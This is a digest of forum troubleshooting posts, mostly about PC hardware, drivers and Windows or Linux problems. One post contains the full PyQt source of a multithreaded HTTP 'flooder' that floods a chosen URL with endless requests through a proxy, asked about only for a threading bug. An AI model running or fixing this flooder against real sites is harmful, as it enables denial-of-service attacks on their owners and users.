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  • Windows Bluescreen - atikmpag.sys

    - by Mochan
    Information Name: atikmpag.sys bluescreen (BSOD or BlueScreen of Death) Error code: 0x00000116 Appears when: Playing games, watching videos Can be reproduced: Yes Cause: Graphics Card is the main assumption System Specifications Before we begin - I will inform you of my specifications. OS: Windows 7 x64 Home Edition Model: Dell Inspiron 15R Special Edition (aka Inspiron 7520) (Add 2GB of RAM to the model linked) Hard Drive: 1TB CPU: Intel Quad-Core i7 Sandy Bridge (I think) Processor at 2.10GHz (I think it can be clocked to 3GHz?) RAM: 6GB (I think 1 x 4GB and 1 x 2GB) Display: 15.6" HD (1366x768) Graphics: AMD Radeon HD 7500M 2GB Details So now that you know some basics about my computer, I'll get to the problem. Being an Ubuntu user I hardly use Windows, but occasionally I do. Like to run Skyrim and other games incompatible with Linux and WINE. The new Sims 3 Seasons patch is also now not supported. When playing these two games and other ones, theoretically. I have also heard others saying that while watching HD movies and video series it also happens. While watching the bluescreen as it happens, I see it is the 'atikmpag.sys' error. I have not installed much and nothing significant. I think I have downloaded Skyrim, Firefox and The Sims 3. I haven't done much more... since Ubuntu is definitely the best in comparison! (No hate, just a joke :P). I can reproduce it easily (just by running a game for less than a minute). It is always there each time, but it's never at a specific time or anything. So far I have found that it may be caused by lack of power to the graphics card, or it may be damaged or fried. Since I've had the computer for a mere 4 months (and have had other problems with it also). I have contacted Dell but they are useless beyond belief. Anyone with any information, solutions or details are encouraged to share your knowledge, as it would be immensely appreciated.

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  • Exchange 2010 remove Arbitration mailbox and mailbox store db

    - by JNM
    I have a problem with Exchange 2010 which is a nightmare for me. The problem is, that in Exchange management console i have several store databases in database management tab. only one is mounted, because i am using it. the second one is mounted, but it was used on other server before (now that server is dead). that database mounted status is UNKNOWN. The file of that database does not exist, but it still shows there. I can't remove it from management console, because it has mailboxes. i removed all mailboxes and disabled two arbitrary mailboxes. i can't delete it because i still have one arbitrary mailbox left. i can't move it, because it requires connection to dead server. i can't disable it, because i get error that it is the last one in organization. Can somebody help me? Solved it by using this command: Get-Mailbox -Arbitration -Database db1 | Remove-Mailbox -Arbitration -RemoveLastArbitrationMailboxAllowed Now i have another problem. Exchange management console shows public folder from different server which is dead now. That folder was copied here, but it is not needed anymore. Public folder file has been deleted, and records from ADSI edit has been removed too. But i can't remove that folder from management console. i get an error Exchange isn't able to check for public folder replicas for "My Public Folder Database". Anybody can help me with that?

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  • Reducing video mode switching during Linux boot

    - by Zack
    When I boot up my desktop computer, which only has Linux on it, the video mode and/or console font gets switched four times: When GRUB starts, it switches from 80x25 text to a graphical mode so it can draw a pretty background behind its menu; GRUB then goes back to 80x25 text after I pick something from the menu; When the KMS driver for my video card loads, it switches to a much higher-resolution text mode (I don't know if this is a hardware text mode or not); Finally X starts and it goes graphics and stays that way. I think this last switch does not change the resolution of the video mode, only the graphicalness. I'd like to get rid of as many of these mode switches as possible. Ideally, when GRUB takes over from the BIOS it would go directly to the same high-resolution text mode that the KMS driver selects, and the display would stay in that mode till X starts and brings up graphics. I am under the impression that this is possible by mucking with the kernel command line and/or the GRUB console module load parameters, but I don't know the details. GRUB 1.98+20100706, kernel 2.6.32.15 using Nouveau video drivers. Distro is Debian unstable. Please no answers that involve recompiling anything or cobbling together bleeding-edge kernel/driver combinations, I don't care enough about this to go to that much trouble. EDIT: Tobu suggests setting GRUB_GFXMODE to the full pixel resolution of the monitor, and GRUB_GFXPAYLOAD_LINUX=keep to avoid the mode switch after the menu goes away. This does part of what I want, but winds up being worse overall. There's no mode switch after the menu, but there's still a painfully-slow screen repaint (I should probably just give up on GRUB's gfxmode, it's waaaay too slow at 1920x1200). More seriously, there's now a double mode switch when nouveaufb loads, along with fun-looking error messages in dmesg [ 5.923798] [drm] nouveau 0000:02:00.0: allocated 1920x1200 fb: 0x40250000, bo ffff8801ba5f4600 [ 5.923802] fb: conflicting fb hw usage nouveaufb vs EFI VGA - removing generic driver [ 5.923821] [drm] nouveau 0000:02:00.0: PFIFO_INTR 0x00000010 - Ch 1 ("PFIFO_INTR" message repeats 400+ times) [ 5.925609] Console: switching to colour dummy device 80x25 [ 5.925802] Console: switching to colour frame buffer device 240x75

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  • AMD switchable graphics are not working OR I don't know how to make them work

    - by Deus Deceit
    I don't know if this is the right place for this question, but I'll give it a shot. I have a Dell Inspiron 17R 5721. It's supposed to be using switchable graphics. It has an Intel HD 4000 and a Radeon HD 8730M and I'm using windows 8. My problem is this, I Installed the drivers that dell gives me but I don't see the AMD graphics card ANYWHERE ( I do see it in device manager but not anywhere else to select and play a game using AMD). I installed the latest drivers from AMD and same thing, I can't run a game with AMD graphics card. I change the applications preferences in the Catalyst control center but even after that, games don't give me the option to select the AMD card, they list only the Intel HD 4000. Can someone tell me what I have to do to make this work? ------------------- After looking around and messing with stuff. I think.... I THINK that you don't really get the option to select a graphics card. Switchable graphics is all about switching automatically depending on application's needs. Cause when I uninstalled AMD's drivers or actually (screwed up lol) games were playing much worse. When I re-installed them, games went back to being good looking. So even if a game sees only the Intel HD 4000 graphics card windows or AMD's drivers will switch to the AMD Readeon graphics card automatically. I hope someone can verify this. Cause seriously I don't think you get to play scyrim with High graphics settings or even ultra with the Intel HD Graphics card. -------------------

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  • Windows: How to make programs think they're not running in a terminal server session?

    - by sinni800
    I am using the program "SoftXPand 2011 Duo" by Miniframe on my Windows 7 PC. It makes two workstations out of one computer. It uses the terminal services built into Windows to create the additional session. I use two screens, two keyboards and two mice to create this "illusion" of two computers. It works quite well and I can even play two different 3D games on the two screens attached to this single machine (using a Radeon HD5770 and a Core i5 2500k with 8 Gbytes RAM). There are a few downsides to this. I just found about one that is hidden on the first look. The sessions you are in (even on the first workstation) will identify as a terminal server session! Now some programs will run with limited effects (graphical), and some won't run at all. This also resulted in some games not running at all. They just say "Cannot be run in a terminal server session" and exit. I have already proven that top modern games (DirectX 10, 11) run just as good as on the same machine without SoftXPand, so this is a pretty artificial limitation! So, can I somehow hack my current session so it doesn't look like a terminal server session anymore? I. E. #include <windows.h> #pragma comment(lib, "user32.lib") BOOL IsRemoteSession(void) { return GetSystemMetrics( SM_REMOTESESSION ); } Will return FALSE? (Not a programming question! Just an example how programs detect if they're in a terminal server session!)

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  • Is a Hyperthreaded CPU more powerful and more efficient than a Dual-core CPU? [closed]

    - by user1811864
    which computer to choose with Pentium processor hello they are getting rid of the old computer equipment in the office and i have to choose the computer to take home i get first choice to pick. -15 inch lcd screen 4 gb of ram core 2 duo dual Core E8400 3.00 GHz dvd writer windows vista/ linux -15 inch crt monitor with 2 gb ram and pentium 4 2 ghz single core HT technology windows xp hardisks both 250 GB my friend is telling me to choose the second one Pentium single core HT because he told me it runs faster becuase of HT technology and cooler and consumes less current electricity so it wont get overheated because it has HT technology so it's high definition for encoding and watching HD movies and HD sound and is like a gaming pc to play internet games. And also he said the dual core 8400 runs at 3 ghz compared to the 2 ghz so it heats very much because of the two extra cores so it takes more current raising electricty bills and is not good for gaming and watching HD movies and internet flash animations and games because of getting heated everytime. And he wants to choose and take the E8400 because he has air conditioning at home so it will be safe from heating. So which one computer should i take is it really faster because of the HT High definition technology and will i be able to play internet flash card games better and watch good HD movies Youtube etc and play all the music and songs.

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  • CPU temperatures high on new build after gaming

    - by Reznor
    My friend had a problem with his computer a while back. His games were crashing, even within the menus. He was stumped as to what the problem was, so I posted on here requesting help. He found out the day later, when his computer would start up but wouldn't display anything on the screen. His video card must have came screwed up. So, he got a replacement. Now, there's a new problem. His temperatures, which were acceptable before, are now insanely high. His GPU temperature runs 70-80c, which is understandable considering he's running his games maxed out, but the real problem here is his processor and motherboard temperatures. All four of his cores are running at 88-90c after coming out of a game. His motherboard temperature was also 70c at one point. In terms of cooling, his case should definitely be adequate. He has an Antec Twelve Hundred. He's using stock fans. The cable management in his case is very good; better than average. He's using the stock heatsink with the processor too, but note, it was fine before the replacement, so it isn't like there's some inherent problem. He has checked the case too. Everything's fine! No cables in the way. The heatsink is seated properly. He turned his case fans up to high, as well, but the temperatures are persisting. Could the processor be overheating due to running games maxed out? Any ideas?

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  • Using keyboard disables touchpad left button for a second on Acer laptop in Windows 8.1

    - by Robert Kilar
    The problem is present in the whole system not only in games: desktop, chrome, games, everywhere. When I press any "input key" on a keyboard for example in desktop I can't select the file by left mouse button OR by tapping the touchpad for about one second(right button works immediately). Later on the LMB works well. There is NO delay, button is just deactivated for a second. In games that means that when I run I cannot shoot for example. When I switched LMB and RMB functions in windows control panel still the LMB is getting disabled and RMB works fine. By "input key" I mean letter or a number, keys like Alt, CapsLock, Ctrl does not affect touchpad. I do not remember that problem when I used Windows 7. USB mouse works like it should. The problem existed when I was using Elantech touchpad driver and after I uninstalled it and used Windows 8.1 generic driver. EDIT I installed the Elantech drivers and set values to 0 at every disable... key. But the problem is still present. EDIT 2 THE LAPTOP IS Acer V3-571G I have turned off disabling function in touchpad but it did not fix it. I know that touchpad is NOT broken down. Turned on the animated touchpad icon of elantech drivers and put it on the task bar(on a picture) When I type the letter and press the LMB the dynamic icon displays the click but it is ignored.

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  • Gaming blew fuse: how to overcome?

    - by George Tomlinson
    I've been gaming for a while now. When playing certain games this PC goes into overdrive. The fan/fans start/s to sound like a jet engine it/they get/s so busy. Also I have smelt burning when this has happened. The fuse blew on the 4 socket adapter I was using recently. On the following thread someone said this could be due to the PSU not being strong enough to handle the load, in what it seems could be a related issue someone had, although the person who posted this question did say that blowing a fan on their PC stopped it crashing in that case: http://www.tomshardware.co.uk/answers/id-2047543/gtx-650-overheating-issue.html. This is exactly what they said: Your GPU isn't overheating. 70+ before it would shutdown and cause a restart. Make sure your PSU is strong enough to handle your new system at load and possibly run Memtest to check your RAM (although not BSOD'ing and just shutting down points to the PSU). This (the PSU part) makes more sense to me than it being to do with dust etc, since it seems a more plausible explanation of why the fuse blew. The PC has no problems except when playing certain games: i.e. TERA Rising and WoW with add-ons (I think WoW is ok as long as I don't have more than 1 add-on (Healers Have To Die)). I'm just wondering if anyone knows or can suggest what I might be able to do to be able to play these games without this problem occurring. The PC's spec is this: Display: NVIDIA GeForce GTX 650 8GB RAM (6 available) Processor: AMD FX (tm) - 8120 Eight-Core Processor - 3.1 GHz, 4 Cores, 8 Logical Processors I have read on another post that forcing vsync in the Nvidia Control Panel helped with what seems could be a similar problem, so I plan to see if that solves it, God permitting.

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  • Network switches for LAN party

    - by guywhoneedsahand
    I am working on setting up the network for a small LAN party (less than 16 people). Most of them do not have wireless cards in their rigs, so I need to set up some way for everyone to a) play LAN games and b) access the internet. The LAN party will probably take place in my basement, where I have enough space. However, the basement is not wired up with the router which is actually on the floor above. I make a cantenna a while back that can boost the wireless performance of my computer significantly. How can I use this to provide internet and LAN to guests? My hope was that I could use a switch like this http://www.newegg.com/Product/Product.aspx?Item=N82E16833181166 for the LAN - but how can I give people access to the internet? Is there such thing as a network extender / 16-port switch? Obviously, the internet performance doesn't need to be super stellar, because the games will be using LAN - so I am looking to provide some usable internet for web browsing, and very high speed LAN for games. Thanks!

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  • Upgrade or replace?

    - by Felix
    My current PC is about four years old, although I have made upgrades to it throughout its existence. The current specs are: (old) Intel Pentium D 2.80Ghz (32K L1 / 2M L2), Gigabyte 945GCMX-S2 motherboard (old) 2.5GB DDR2 (slot0: 512MB @ 533Mhz; slot1: 2GB @ 667Mhz) (new) HIS Radeon HD 4670 - I think this is limited by the motherboard not supporting PCIe 2.0 (?) (old) WD Caviar 160GB - pretty slow (new) WD Caviar Black 640GB (if any more specs are relevant, let me know and I'll add them) Now, on to my question. I've been having performance issues lately, both in video games and in intensive applications. A couple of examples: Android application development (running Eclipse and the Android emulator) is painfully slow (on Linux). I only realized this when, at my new job as an Android dev, both tools are MUCH quicker. (I'm not sure what CPU I have there) The guys at my new job got me NFS Hot Pursuit, in which I barely get like 5-10FPS, even with graphics options turned all the way down My guess is that the bottleneck in my system is my CPU, so I'm thinking of upgrading to a Quad Core i5 + new motherboard + 4GB DDR3 (or more, 'cause I know you'll all jump and say 8GB minimum). Now: Is that a good idea? Is my CPU really a bottleneck, or is the whole system too old and I should replace it? I run Windows 7 on the old, 160GB HDD (which is on IDE, by the way). Could this slow down games as well? Should I get a new drive for Windows if I want to play new games? I know nothing about power supplies. Could that be a problem / will it be a problem if I upgrade to an i5? How come DiRT2 works on full graphics settings (pretty amazing graphics by the way) and NFS Hot Pursuit pulls only 5-10FPS?

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  • Is it possible to automate a driver change on Windows for a plug&play peripheral ?

    - by Gnoupi
    Is it possible to automate a change of driver for a same peripheral, under Windows ? Typically to switch between two ones. (I'm talking about the kind of driver which doesn't require the computer to reboot, typically). I have a peripheral for which I use the constructor's driver in some cases, but also a modified driver in other cases. Not that the changing driver is really annoying, but I would like to know if it would be possible to make it easier, like for example in a shortcut. I know the name of the driver, even which files involved. For more details, the concerned peripheral is a "Xbox360 Gamepad for Windows" (or something like this). The base driver is good for new games, but it doesn't handle correctly older ones (some issues with axes, and vibrations). The modified driver makes it behave like a classic controller, but then it doesn't work correctly on new games (typically using the new version of dxinput linked to the "Games for Windows"). However, this is not a question specific to this gamepad, I'm asking in general about automating this change of drivers. I currently use Windows XP, so my question is mostly about it, but I'm also interested in the same issue for later versions (Windows 7, most likely). I'm not really sure if this is even possible, but in case someone has an idea, I'm asking.

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  • pyqt QObject: Cannot create children for a parent that is in a different thread

    - by memomk
    QObject: Cannot create children for a parent that is in a different thread. (Parent is QTextDocument(0x9919018), parent's thread is QThread(0x97331e0), current thread is flooderthread(0x97b4c10) error means ? am sorry because am new to pyqt here is the code : i know the code is finished yet but it should work i guess the problem is with myfun.log function... #! /usr/bin/python # -*- coding: utf-8 -*- import urllib, urllib2, itertools, threading, cookielib, Cookie, sys, time, hashlib, os from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: _fromUtf8 = lambda s: s gui=QtGui.QApplication.processEvents texttoset="" class fun(): global texttoset def checkpassword(self): if ui.passwordcheck.isChecked()==True: return 1 else : return 0 def log(self, text): if text != False: firsttext=str(ui.console.toPlainText()) secondtext=firsttext+text+"\n" ui.console.setText(secondtext) log=open("log.log", "a") log.write(text+"\n") log.close() else : firsttext=str(ui.console.toPlainText()) secondtext=firsttext+texttoset+"\n" ui.console.setText(secondtext) log=open("log.log", "a") log.write(texttoset+"\n") log.close() def disable(self): MainWindow.setEnabled(False) pass def enable(self): MainWindow.setEnabled(True) pass def checkmethod(self): if ui.get.isChecked()==True: return 1 elif ui.post.isChecked()==True: return 2 else : return 0 def main(self): connecter() gui() f1.start() gui() time.sleep(3) gui() f2.start() gui() time.sleep(3) gui() f3.start() gui() time.sleep(3) gui() f4.start() gui() time.sleep(3) gui() f5.start() gui() self.sleep(3) gui() f6.start() gui() def killer(self): f1.terminate() f2.terminate() f3.terminate() f4.terminate() f5.terminate() f6.terminate() def close(self): self.killer() os.abort() sys.exit() myfun=fun() def connecter(): QtCore.QObject.connect(f1, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f1, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f1, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f2, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f2, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f2, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f3, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f3, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f3, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f4, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f4, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f4, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f5, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f5, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f5, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f6, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f6, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f6, QtCore.SIGNAL("disable()"), myfun.disable) x=0 num=0 class flooderthread(QtCore.QThread): global texttoset def __init__(self, x, num): QtCore.QThread.__init__(self) self.x=x self.num=num def log(self, text): texttolog=str(text) time.sleep(1) self.emit(QtCore.SIGNAL("log(bool)"), False) time.sleep(2) def enable(self): time.sleep(1) self.emit(QtCore.SIGNAL("enable()")) def disable(self): time.sleep(1) self.emit(QtCore.SIGNAL("disable()")) def run(self): connecter() self.log("\n\n--------------------------------------------------new session-------------------------------------\n\n") itered=False gui() self.disable() gui() self.log("setting params...") param={ui.dataname1.text():ui.datavalue1.text(),ui.dataname3.text():ui.datavalue3.text(),ui.dataname3.text():ui.datavalue3.text(), } self.log("checking password...") if myfun.checkpassword()==1: itered=True self.log("password is true") else : self.log("password is null ") self.log("itered operation") self.log("setting url") url=str(ui.url.text()) if url[:4]!="http" and url[:3]!="ftp": self.log("url error exiting the whole function") self.log("please set a valide protocole!!") gui() self.enable() gui() return 1 pass else : self.log("valid url") gui() self.log("url is "+url) self.log("setting proxy") proxy="http://"+ui.proxyuser.text()+":"+ui.proxypass.text()+"@"+ui.proxyhost.text()+":"+ui.proxyport.text() self.log("proxy is "+proxy) gui() self.log("preparing params...") urlparam=urllib.urlencode(param) gui() self.log("params are "+urlparam) self.log("setting up headers...") header={'User-Agent':str(ui.useragent.toPlainText())} self.log("headers are "+ str(header)) self.log("setting up proxy handler..") proxyhandler=urllib2.ProxyHandler({"http":str(proxy)}) self.log("checking method") if myfun.checkmethod()==1: self.log("method is get..") self.log("setting request..") finalurl=url+urlparam gui() self.log("final url is"+finalurl) req=urllib2.Request(finalurl, None, headers) elif myfun.checkmethod()==2: self.log("method is post...") self.log("setting request..") finalurl=url gui() self.log("final url is "+finalurl) req=urllib2.Request(finalurl, urlparam, header) else : self.log("error has been accourded") self.log("please select a method!!") gui() self.log("exiting the whole functions") gui() self.enable() return 1 pass self.log("intilizing cookies..") c1=Cookie.SimpleCookie() c1[str(ui.cookiename1.text())]=str(ui.cookievalue1.text()) c1[str(ui.cookiename1.text())]['path']='/' c1[str(ui.cookiename2.text())]=str(ui.cookievalue2.text()) c1[str(ui.cookiename2.text())]['path']='/' c1[str(ui.cookiename3.text())]=str(ui.cookievalue3.text()) c1[str(ui.cookiename3.text())]['domain']=url c1[str(ui.cookiename3.text())]['path']='/' c1[str(ui.cookiename4.text())]=str(ui.cookievalue4.text()) c1[str(ui.cookiename4.text())]['domain']=url c1[str(ui.cookiename4.text())]['path']='/' self.log("cookies are.. :"+str(c1)) cj=cookielib.CookieJar() cj.set_cookie(c1) opener = urllib2.build_opener(proxyhandler, urllib2.HTTPCookieProcessor(cj)) self.log("insatlling opener") urllib2.install_opener(opener) self.log("setting the two operations....") if itered==Fasle: self.log("starting the flooding loop") gui() while true: try: gui() opener.open(req) except e: self.log("error connecting : "+e.reason) self.log("will continue....") continue gui() elif itered==True: pass f1=flooderthread(1, 1) f2=flooderthread(2, 2) f3=flooderthread(3, 3) f4=flooderthread(4, 4) f5=flooderthread(5, 5) f6=flooderthread(6, 6) class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) MainWindow.setMinimumSize(QtCore.QSize(838, 500)) MainWindow.setMaximumSize(QtCore.QSize(838, 500)) MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "memo flooder", None, QtGui.QApplication.UnicodeUTF8)) self.centralwidget = QtGui.QWidget(MainWindow) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) self.console=QtGui.QTextEdit(self.centralwidget) self.console.setGeometry(10, 350, 800,130) self.console.setReadOnly(True) self.console.setObjectName("console") self.groupBox = QtGui.QGroupBox(self.centralwidget) self.groupBox.setGeometry(QtCore.QRect(30, 50, 71, 80)) self.groupBox.setTitle(QtGui.QApplication.translate("MainWindow", "method:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox.setObjectName(_fromUtf8("groupBox")) self.post = QtGui.QRadioButton(self.groupBox) self.post.setGeometry(QtCore.QRect(10, 20, 61, 22)) self.post.setText(QtGui.QApplication.translate("MainWindow", "post", None, QtGui.QApplication.UnicodeUTF8)) self.post.setChecked(True) self.post.setObjectName(_fromUtf8("post")) self.get = QtGui.QRadioButton(self.groupBox) self.get.setGeometry(QtCore.QRect(10, 50, 51, 22)) self.get.setText(QtGui.QApplication.translate("MainWindow", "get", None, QtGui.QApplication.UnicodeUTF8)) self.get.setObjectName(_fromUtf8("get")) self.url = QtGui.QLineEdit(self.centralwidget) self.url.setGeometry(QtCore.QRect(70, 20, 671, 27)) self.url.setInputMethodHints(QtCore.Qt.ImhUrlCharactersOnly) self.url.setObjectName(_fromUtf8("url")) self.groupBox_2 = QtGui.QGroupBox(self.centralwidget) self.groupBox_2.setGeometry(QtCore.QRect(110, 50, 371, 111)) self.groupBox_2.setTitle(QtGui.QApplication.translate("MainWindow", "data:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_2.setObjectName(_fromUtf8("groupBox_2")) self.dataname1 = QtGui.QLineEdit(self.groupBox_2) self.dataname1.setGeometry(QtCore.QRect(20, 30, 101, 27)) self.dataname1.setObjectName(_fromUtf8("dataname1")) self.label = QtGui.QLabel(self.groupBox_2) self.label.setGeometry(QtCore.QRect(40, 10, 67, 17)) self.label.setText(QtGui.QApplication.translate("MainWindow", "name:", None, QtGui.QApplication.UnicodeUTF8)) self.label.setObjectName(_fromUtf8("label")) self.dataname2 = QtGui.QLineEdit(self.groupBox_2) self.dataname2.setGeometry(QtCore.QRect(130, 30, 113, 27)) self.dataname2.setObjectName(_fromUtf8("dataname2")) self.dataname3 = QtGui.QLineEdit(self.groupBox_2) self.dataname3.setGeometry(QtCore.QRect(250, 30, 113, 27)) self.dataname3.setObjectName(_fromUtf8("dataname3")) self.label_2 = QtGui.QLabel(self.groupBox_2) self.label_2.setGeometry(QtCore.QRect(40, 60, 67, 17)) self.label_2.setText(QtGui.QApplication.translate("MainWindow", "value:", None, QtGui.QApplication.UnicodeUTF8)) self.label_2.setObjectName(_fromUtf8("label_2")) self.datavalue1 = QtGui.QLineEdit(self.groupBox_2) self.datavalue1.setGeometry(QtCore.QRect(20, 80, 101, 27)) self.datavalue1.setObjectName(_fromUtf8("datavalue1")) self.datavalue2 = QtGui.QLineEdit(self.groupBox_2) self.datavalue2.setGeometry(QtCore.QRect(130, 80, 113, 27)) self.datavalue2.setObjectName(_fromUtf8("datavalue2")) self.datavalue3 = QtGui.QLineEdit(self.groupBox_2) self.datavalue3.setGeometry(QtCore.QRect(250, 80, 113, 27)) self.datavalue3.setObjectName(_fromUtf8("datavalue3")) self.groupBox_4 = QtGui.QGroupBox(self.centralwidget) self.groupBox_4.setGeometry(QtCore.QRect(670, 50, 151, 111)) self.groupBox_4.setTitle(QtGui.QApplication.translate("MainWindow", "password:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_4.setObjectName(_fromUtf8("groupBox_4")) self.passname = QtGui.QLineEdit(self.groupBox_4) self.passname.setGeometry(QtCore.QRect(10, 30, 113, 27)) self.passname.setObjectName(_fromUtf8("passname")) self.passvalue = QtGui.QLineEdit(self.groupBox_4) self.passvalue.setGeometry(QtCore.QRect(10, 80, 113, 27)) self.passvalue.setObjectName(_fromUtf8("passvalue")) self.passwordcheck = QtGui.QCheckBox(self.centralwidget) self.passwordcheck.setGeometry(QtCore.QRect(670, 180, 97, 22)) self.passwordcheck.setText(QtGui.QApplication.translate("MainWindow", "password", None, QtGui.QApplication.UnicodeUTF8)) self.passwordcheck.setChecked(True) self.passwordcheck.setObjectName(_fromUtf8("passwordcheck")) self.groupBox_5 = QtGui.QGroupBox(self.centralwidget) self.groupBox_5.setGeometry(QtCore.QRect(29, 169, 441, 81)) self.groupBox_5.setTitle(QtGui.QApplication.translate("MainWindow", "proxy:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_5.setObjectName(_fromUtf8("groupBox_5")) self.proxyhost = QtGui.QLineEdit(self.groupBox_5) self.proxyhost.setGeometry(QtCore.QRect(20, 30, 113, 27)) self.proxyhost.setObjectName(_fromUtf8("proxyhost")) self.proxyport = QtGui.QLineEdit(self.groupBox_5) self.proxyport.setGeometry(QtCore.QRect(140, 30, 51, 27)) self.proxyport.setInputMethodHints(QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhPreferNumbers) self.proxyport.setObjectName(_fromUtf8("proxyport")) self.proxyuser = QtGui.QLineEdit(self.groupBox_5) self.proxyuser.setGeometry(QtCore.QRect(200, 30, 113, 27)) self.proxyuser.setObjectName(_fromUtf8("proxyuser")) self.proxypass = QtGui.QLineEdit(self.groupBox_5) self.proxypass.setGeometry(QtCore.QRect(320, 30, 113, 27)) self.proxypass.setObjectName(_fromUtf8("proxypass")) self.label_4 = QtGui.QLabel(self.groupBox_5) self.label_4.setGeometry(QtCore.QRect(100, 10, 67, 17)) self.label_4.setText(QtGui.QApplication.translate("MainWindow", "host", None, QtGui.QApplication.UnicodeUTF8)) self.label_4.setObjectName(_fromUtf8("label_4")) self.label_5 = QtGui.QLabel(self.groupBox_5) self.label_5.setGeometry(QtCore.QRect(150, 10, 67, 17)) self.label_5.setText(QtGui.QApplication.translate("MainWindow", "port", None, QtGui.QApplication.UnicodeUTF8)) self.label_5.setObjectName(_fromUtf8("label_5")) self.label_6 = QtGui.QLabel(self.groupBox_5) self.label_6.setGeometry(QtCore.QRect(200, 10, 67, 17)) self.label_6.setText(QtGui.QApplication.translate("MainWindow", "username", None, QtGui.QApplication.UnicodeUTF8)) self.label_6.setObjectName(_fromUtf8("label_6")) self.label_7 = QtGui.QLabel(self.groupBox_5) self.label_7.setGeometry(QtCore.QRect(320, 10, 67, 17)) self.label_7.setText(QtGui.QApplication.translate("MainWindow", "password", None, QtGui.QApplication.UnicodeUTF8)) self.label_7.setObjectName(_fromUtf8("label_7")) self.groupBox_6 = QtGui.QGroupBox(self.centralwidget) self.groupBox_6.setGeometry(QtCore.QRect(30, 260, 531, 91)) self.groupBox_6.setTitle(QtGui.QApplication.translate("MainWindow", "cookies:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_6.setObjectName(_fromUtf8("groupBox_6")) self.cookiename1 = QtGui.QLineEdit(self.groupBox_6) self.cookiename1.setGeometry(QtCore.QRect(10, 20, 113, 27)) self.cookiename1.setObjectName(_fromUtf8("cookiename1")) self.cookiename2 = QtGui.QLineEdit(self.groupBox_6) self.cookiename2.setGeometry(QtCore.QRect(140, 20, 113, 27)) self.cookiename2.setObjectName(_fromUtf8("cookename2")) self.cookiename3 = QtGui.QLineEdit(self.groupBox_6) self.cookiename3.setGeometry(QtCore.QRect(270, 20, 113, 27)) self.cookiename3.setObjectName(_fromUtf8("cookiename3")) self.cookiename4 = QtGui.QLineEdit(self.groupBox_6) self.cookiename4.setGeometry(QtCore.QRect(390, 20, 113, 27)) self.cookiename4.setObjectName(_fromUtf8("cookiename4")) self.cookievalue1 = QtGui.QLineEdit(self.groupBox_6) self.cookievalue1.setGeometry(QtCore.QRect(10, 50, 113, 27)) self.cookievalue1.setObjectName(_fromUtf8("cookievalue1")) self.cookievalue2 = QtGui.QLineEdit(self.groupBox_6) self.cookievalue2.setGeometry(QtCore.QRect(140, 50, 113, 27)) self.cookievalue2.setObjectName(_fromUtf8("cookievalue2")) self.cookievalue3 = QtGui.QLineEdit(self.groupBox_6) self.cookievalue3.setGeometry(QtCore.QRect(270, 50, 113, 27)) self.cookievalue3.setObjectName(_fromUtf8("cookievalue3")) self.cookievalue4 = QtGui.QLineEdit(self.groupBox_6) self.cookievalue4.setGeometry(QtCore.QRect(390, 50, 113, 27)) self.cookievalue4.setObjectName(_fromUtf8("cookievalue4")) self.groupBox_7 = QtGui.QGroupBox(self.centralwidget) self.groupBox_7.setGeometry(QtCore.QRect(570, 260, 251, 80)) self.groupBox_7.setTitle(QtGui.QApplication.translate("MainWindow", "useragents:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_7.setObjectName(_fromUtf8("groupBox_7")) self.useragent = QtGui.QTextEdit(self.groupBox_7) self.useragent.setGeometry(QtCore.QRect(10, 20, 211, 51)) self.useragent.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) self.useragent.setObjectName(_fromUtf8("useragent")) self.start = QtGui.QPushButton(self.centralwidget) self.start.setGeometry(QtCore.QRect(750, 20, 71, 27)) self.start.setText(QtGui.QApplication.translate("MainWindow", "start", None, QtGui.QApplication.UnicodeUTF8)) self.start.setObjectName(_fromUtf8("start")) self.label_3 = QtGui.QLabel(self.centralwidget) self.label_3.setGeometry(QtCore.QRect(30, 20, 67, 17)) self.label_3.setText(QtGui.QApplication.translate("MainWindow", "url :", None, QtGui.QApplication.UnicodeUTF8)) self.label_3.setObjectName(_fromUtf8("label_3")) MainWindow.setCentralWidget(self.centralwidget) QtCore.QObject.connect(self.start, QtCore.SIGNAL(_fromUtf8("clicked(bool)")), myfun.main) QtCore.QObject.connect(self.passwordcheck, QtCore.SIGNAL(_fromUtf8("clicked(bool)")), self.groupBox_4.setEnabled) QtCore.QMetaObject.connectSlotsByName(MainWindow) def __del__(): myfun.killer() os.abort() sys.exit() app = QtGui.QApplication(sys.argv) MainWindow = QtGui.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) myfun.log("\n\n--------------------------------------------------new session-------------------------------------\n\n") MainWindow.show() sys.exit(app.exec_())

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  • Convert Excel File 'xls' to CSV, CAUTION: Bumps Ahead

    - by faizanahmad
